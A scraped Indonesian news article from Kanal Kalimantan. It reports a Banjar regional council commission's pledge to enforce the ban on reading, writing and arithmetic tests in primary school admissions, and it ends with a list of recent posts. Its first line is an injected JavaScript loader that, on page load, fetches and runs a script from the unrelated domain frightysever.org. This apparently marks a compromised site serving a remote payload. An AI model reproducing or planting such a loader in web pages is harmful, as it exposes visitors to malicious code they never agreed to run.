(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Tes Calistung Tak Boleh, Komisi IV Janji Awasi Penerimaan Siswa SD


MARTAPURA, Komisi IV DPRD Banjar janji akan mengawal kebijakan penghapusan tes membaca menulis berhitung (Calistung) saat penerimaan peserta didik baru tingkat SD, tahun ajaran baru nanti.

Perlu diketahui Tes Calistung memang menjadi pro dan kontra ketika anak usia 6-7 tahun sebelum memasuki SD. Hal tersebut sangat tidak tepat, karena anak usia 4-6 tahun dan masih duduk di bangku TK, belum saatnya untuk menerima pelajaran Calistung.

Wakil Ketua Komisi IV DPRD Banjar Khairuddin kepada Kanal Kalimantan mengatakan,

akan menggunakan berbagai cara untuk meningkatkan kualitas pendidikan, salah satunya dengan menggunakan dana Reses. “Karena itu dana rakyat maka akan kita kembalikan hasilnya kepada rakyat juga,” jelasnya.

“Kita akan menyampaikan tentang presepsi tes calistung K-13 di kelas satu SD ini akan betul-betul sesuai dengan kompetensi dasarnya,” katanya.

Secara teoritis, belum ada teori pendidikan yang membolehkan pelaksanaan ujian calistung bagi anak SD. Misalkan saja teori Piaget tentang perkembangan mental anak. Menurut teori ini, anak yang berumur 4-6 tahun tahap berpikirnya baru pada tahap intuitif. Artinya, anak seumuran tersebut, daya atau kemampuan mengetahui atau memahami sesuatu tanpa dipikirkan atau dipelajari.

Lebih jelasnya mengetahui dan memahami sesuatu itu baru berdasarkan perasaan atau insting saja, tanpa melalui pembelajaran yang tersistematis. Dari teori tersebut, dapat disimpulkan bahwa anak pada tahap itu belum siap menerima pembelajaran yang bersifat kognisi, termasuk apa yang dimaksud dengan calistung tersebut.

Masih menurut Khairuddin, nantinya Reses tersebut akan dilaksanakan di beberapa titik seperti di Kecamatan Astambul, Martapura Barat, Martapura Kota, Sungai Tabuk dan Kecamatan Kertak hanyar dan akan dilaksanakan Juli saat awal tahun ajaran tahun 2018.

“Harus ada persamaan persepsi kesepakatan kepada guru-guru yang ada soal calistung itu,” pungkasnya. (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

2 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

2 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

3 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

6 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

7 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

8 jam ago

This website uses cookies.